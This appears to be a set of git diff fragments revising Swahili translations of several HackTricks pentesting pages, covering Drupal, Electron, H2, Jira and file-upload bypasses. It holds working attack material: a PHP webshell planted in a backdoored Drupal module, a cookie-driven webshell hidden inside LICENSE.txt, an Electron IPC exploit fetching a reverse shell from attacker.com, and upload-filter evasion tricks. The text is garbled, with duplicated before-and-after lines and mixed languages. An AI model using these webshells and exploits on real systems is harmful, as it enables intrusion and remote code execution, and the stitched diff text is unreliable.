Unahitaji **plugin ya php kuanzishwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijaanzishwa**)
Nenda kwa _Modules_ -> (**Angalia**) _PHP Filter_ -> _Hifadhi usanidi_
@ -46,7 +46,7 @@ Kuanzia toleo **8 na kuendelea,** [**PHP Filter**](https://www.drupal.org/projec
1. Pakua toleo la hivi karibuni la moduli kutoka tovuti ya Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Mara baada ya kupakua, nenda kwenye **`Administration`** > **`Reports`** > **`Available updates`**.
3. Bonyeza **`Browse`**, chagua faili kutoka kwenye directory tuliyopakia, kisha bonyeza **`Install`**.
3. Bonyeza **`Browse`**, chagua faili kutoka kwenye saraka tuliyoiweka, kisha bonyeza **`Install`**.
4. Mara moduli ikishafungwa, tunaweza kubonyeza **`Content`** na **kuunda ukurasa mpya wa msingi**, kama tulivyofanya katika mfano wa Drupal 7. Tena, hakikisha **uchague `PHP code` kutoka kwenye `Text format` dropdown**.
## Backdoored Module
@ -57,7 +57,7 @@ Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa
Moduli yenye backdoor inaweza kuundwa kwa **kuongeza shell kwenye moduli iliyopo**. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Hebu chague moduli kama [CAPTCHA](https://www.drupal.org/project/captcha). Piga chini na nakili kiungo cha tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Pakua archive na uondoe yaliyomo.
* Pakua archive na kutoa maudhui yake.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.
* Kisha, tunahitaji kuunda faili **`.htaccess`** ili kujipatia ufikiaji wa folda. Hii ni muhimu kwani Drupal inakataa ufikiaji wa moja kwa moja kwenye folda **`/modules`**.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
@ -80,37 +80,37 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Ikiwa tuna **ufikiaji wa kiutawala** kwenye tovuti, bonyeza **`Manage`** kisha **`Extend`** kwenye upande wa kushoto. Kisha, bonyeza kitufe cha **`+ Install new module`**, na tutapelekwa kwenye ukurasa wa usakinishaji, kama `http://drupal-site.local/admin/modules/install` Tembelea archive ya Captcha iliyokuwa na backdoor na bonyeza **`Install`**.
* Ikiwa tuna **ufikiaji wa kiutawala** kwenye tovuti, bonyeza **`Manage`** kisha **`Extend`** kwenye upande wa menyu. Kisha, bonyeza kitufe cha **`+ Install new module`**, na tutapelekwa kwenye ukurasa wa usakinishaji, kama `http://drupal-site.local/admin/modules/install` Tembelea archive ya Captcha iliyokuwa na backdoor na bonyeza **`Install`**.
* Mara baada ya usakinishaji kufanikiwa, tembelea **`/modules/captcha/shell.php`** ili kutekeleza amri.
## Backdooring Drupal kwa kutumia Usawazishaji wa Mipangilio <a href="#backdooring-drupal" id="backdooring-drupal"></a>
## Backdooring Drupal kwa Usawazishaji wa Mipangilio <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Post iliyoshirikiwa na** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Sehemu ya 1 (kuanzisha _Media_ na _Media Library_)
### Sehemu ya 1 (kuwasha _Media_ na _Media Library_)
Katika menyu ya _Extend_ (/admin/modules), unaweza kuanzisha kile kinachoweza kuonekana kama plugins ambazo tayari zimesakinishwa. Kwa kawaida, plugins _Media_ na _Media Library_ hazionekani kuanzishwa, hivyo hebu tuzianzishe.
Katika menyu ya _Extend_ (/admin/modules), unaweza kuwasha kile kinachoweza kuonekana kama plugins ambazo tayari zimesakinishwa. Kwa kawaida, plugins _Media_ na _Media Library_ hazionekani kuwa zimewashwa, hivyo hebu tuwasha.
Kabla ya kuanzisha:
Kabla ya kuwasha:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Baada ya kuanzisha:
Baada ya kuwasha:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Sehemu ya 2 (kutumia kipengele _Usawazishaji wa Mipangilio_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
### Sehemu ya 2 (kutumia kipengele _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Tutatumia kipengele _Usawazishaji wa Mipangilio_ ili kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal:
Tutatumia kipengele _Configuration synchronization_ kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
Hebu tuanze kwa kupachika entry ya kwanza `allow_insecure_uploads` kutoka:
Hebu tuanze kwa kupatch entry ya kwanza `allow_insecure_uploads` kutoka:
File: system.file.yml
```
@ -122,7 +122,7 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kwa:
@ -136,11 +136,11 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
Kisha, pata kipengele cha pili `file_extensions` kutoka:
Kisha, pata kipengee cha pili `file_extensions` kutoka:
File: field.field.media.document.field\_media\_document.yml
```
@ -152,11 +152,11 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kwa:
Ili:
File: field.field.media.document.field\_media\_document.yml
Faili: field.field.media.document.field\_media\_document.yml
```
...
@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
...
```
> Situmii hii katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia isiyo ya kawaida na kwamba inahatarishwa na shambulio la kupita njia (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
> Sijatumia katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia isiyo ya kawaida na kwamba inahatarishwa na shambulio la kupita njia (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Sehemu ya 3 (kutumia kipengele _Ongeza Hati_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
@ -194,15 +194,15 @@ php_flag engine on
```
Kwa nini hila hii ni nzuri?
Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kupeleka amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
Kwa nini kuita Webshell yetu LICENSE.txt?
Kwa sababu tu ikiwa tutachukua faili ifuatayo, kwa mfano [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa sababu faili ni kubwa vya kutosha).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Faili: Patched LICENSE.txt
Faili: LICENSE.txt iliyorekebishwa
```txt
...
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
Kwanza, tunatumia kipengele _Add Document_ (/media/add/document) kupakia faili yetu inayokuwa na maagizo ya Apache (.htaccess).
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Sehemu ya 3.2 (pakia faili LICENSE.txt)**
@ -263,7 +263,7 @@ Wakati mshambuliaji anapoweka cookie, anaweza kuwasiliana na Webshell na kutekel
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
Na kama unavyoona katika kumbukumbu, inaonekana kama faili ya txt pekee ndiyo imeombwa.
Na kama unavyoona katika kumbukumbu, inaonekana kama faili ya txt pekee imeombwa.
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
Ikiwa skripti ya preload inafichua mwisho wa IPC kutoka kwa faili ya main.js, mchakato wa renderer utaweza kuufikia na ikiwa ni hatarini, RCE inaweza kuwa inawezekana.
Ikiwa skripti ya preload inatoa mwisho wa IPC kutoka kwa faili la main.js, mchakato wa renderer utaweza kuufikia na ikiwa ni hatarini, RCE inaweza kuwa inawezekana.
**Mifano hii mingi ilichukuliwa kutoka hapa** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Angalia video kwa maelezo zaidi.
@ -23,12 +23,12 @@ Ikiwa skripti ya preload inafichua mwisho wa IPC kutoka kwa faili ya main.js, mc
Mfano kutoka [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (una mfano kamili wa jinsi MS Teams ilivyokuwa ikitumia XSS hadi RCE katika slaidi hizo, huu ni mfano wa msingi sana):
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Mfano 1
Angalia jinsi `main.js` inasikiliza kwenye `getUpdate` na it **shusha na kutekeleza URL yoyote** iliyopitishwa.\
Angalia pia jinsi `preload.js` **inavyofichua tukio lolote la IPC** kutoka kwa main.
Angalia jinsi `main.js` inasikiliza kwenye `getUpdate` na it **apakue na kutekeleza URL yoyote** iliyopitishwa.\
Angalia pia jinsi `preload.js` **inatoa tukio lolote la IPC** kutoka kwa main.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
## Mfano wa 2
Ikiwa skripti ya preload inatoa moja kwa moja kwa renderer njia ya kuita `shell.openExternal`, inawezekana kupata RCE
Ikiwa skripti ya preload inatoa moja kwa moja kwa renderer njia ya kuita `shell.openExternal` inawezekana kupata RCE
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
@ -114,7 +114,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,8 +1,8 @@
# H2 - Java SQL database
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,15 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Access
You can indicate a **non-existent name a of database** in order to **create a new database without valid credentials** (**unauthenticated**):
You can indicate a **jina la database lisilokuwepo** in order to **create a new database without valid credentials** (**unauthenticated**):
![](<../../.gitbook/assets/image (131).png>)
@ -50,21 +48,19 @@ In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Check Privileges
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji walioidhinishwa** pia zinaonyesha **udhaifu**.
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji waliothibitishwa** pia zinaonyesha **udhaifu**.
**Sasisho** muhimu lilifanywa tarehe **1 Februari 2019**, likihitaji endpoint 'mypermissions' kujumuisha **'parameter ya ruhusa'**. Mahitaji haya yanakusudia **kuimarisha usalama** kwa kubainisha privileges zinazoulizwa: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
@ -83,7 +83,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
Kama ilivyoonyeshwa katika [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), katika nyaraka kuhusu [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) inawezekana kuangalia aina tofauti za plugins, kama:
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Fichua ncha za API za RESTful
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Fichua mwisho wa API za RESTful
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Weka servlets za Java kama sehemu ya plugin
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Tekeleza Macros za Confluence, yaani, templeti za HTML zenye vigezo
@ -112,26 +112,26 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
Inapatikana kuangalia kwamba hizi plugins zinaweza kuwa na udhaifu kwa udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarudisha data iliyotolewa na mtumiaji.&#x20;
Ni rahisi kuona kwamba hizi plugins zinaweza kuwa na udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarudisha data iliyotolewa na mtumiaji.&#x20;
Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) unaweza kupata baadhi ya payloads za kuongeza athari ya XSS.
Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) unaweza kupata baadhi ya payloads za kuongeza athari za XSS.
## Backdoor Plugin
## Plugin ya Backdoor
[**Post hii**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) inaelezea vitendo tofauti (vibaya) ambavyo vinaweza kufanywa na plugin mbaya ya Jira. Unaweza kupata [**mfano wa msimbo katika repo hii**](https://github.com/cyllective/malfluence).
[**Post hii**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) inaelezea vitendo tofauti (vibaya) ambavyo vinaweza kufanywa na plugin mbaya ya Jira. Unaweza kupata [**mfano wa code katika repo hii**](https://github.com/cyllective/malfluence).
Haya ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
Hizi ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
* **Kuficha Plugins kutoka kwa Wasimamizi**: Inawezekana kuficha plugin mbaya kwa kuingiza javascript ya mbele.
* **Kutoa Nambari na Kurasa**: Ruhusu kufikia na kutoa data yote.
* **Kuhujumu Token za Kikao**: Ongeza mwisho ambao utaecho vichwa katika jibu (pamoja na cookie) na baadhi ya javascript ambayo itawasiliana nayo na kutoa cookies.
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza msimbo.
* **Reverse Shell**: Au kupata reverse shell.
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva ikitekeleza amri kupitia hiyo.
* **Kuchukua Viambatisho na Kurasa**: Ruhusu kufikia na kuchukua data yote.
* **Kuhujumu Tokens za Kikao**: Ongeza endpoint ambayo itarudisha vichwa katika jibu (pamoja na cookie) na javascript fulani ambayo itawasiliana nayo na kuhujumu cookies.
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza code.
* **Shell ya Reverse**: Au kupata shell ya reverse.
* **Proxy ya DOM**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva ikitekeleza amri kupitia hiyo.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -145,7 +145,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,14 +10,14 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na hack isiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -36,11 +36,11 @@ Extensions nyingine muhimu:
### Bypass file extensions checks
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kutumia baadhi ya **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kuzitumia kwa herufi **za juu**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza extension halali kabla** ya extension ya utekelezaji (tumia extensions za awali pia):_
* _file.png.php_
* _file.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp ku **bruteforce** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **extensions** zilizotajwa awali_)
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp **bruteforce** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **extensions** zilizotajwa **awali**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -62,9 +62,9 @@ Extensions nyingine muhimu:
5. Ongeza **tabaka lingine la extensions** kwa ukaguzi wa awali:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** sio lazima kumalizika na .php\*\* kitatekeleza msimbo):
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na makosa. (inayofaa kutumia katika makosa ya Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** sio lazima kumalizika na .php\*\* itatekeleza msimbo):
* _ex: file.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya colon “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya dot baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
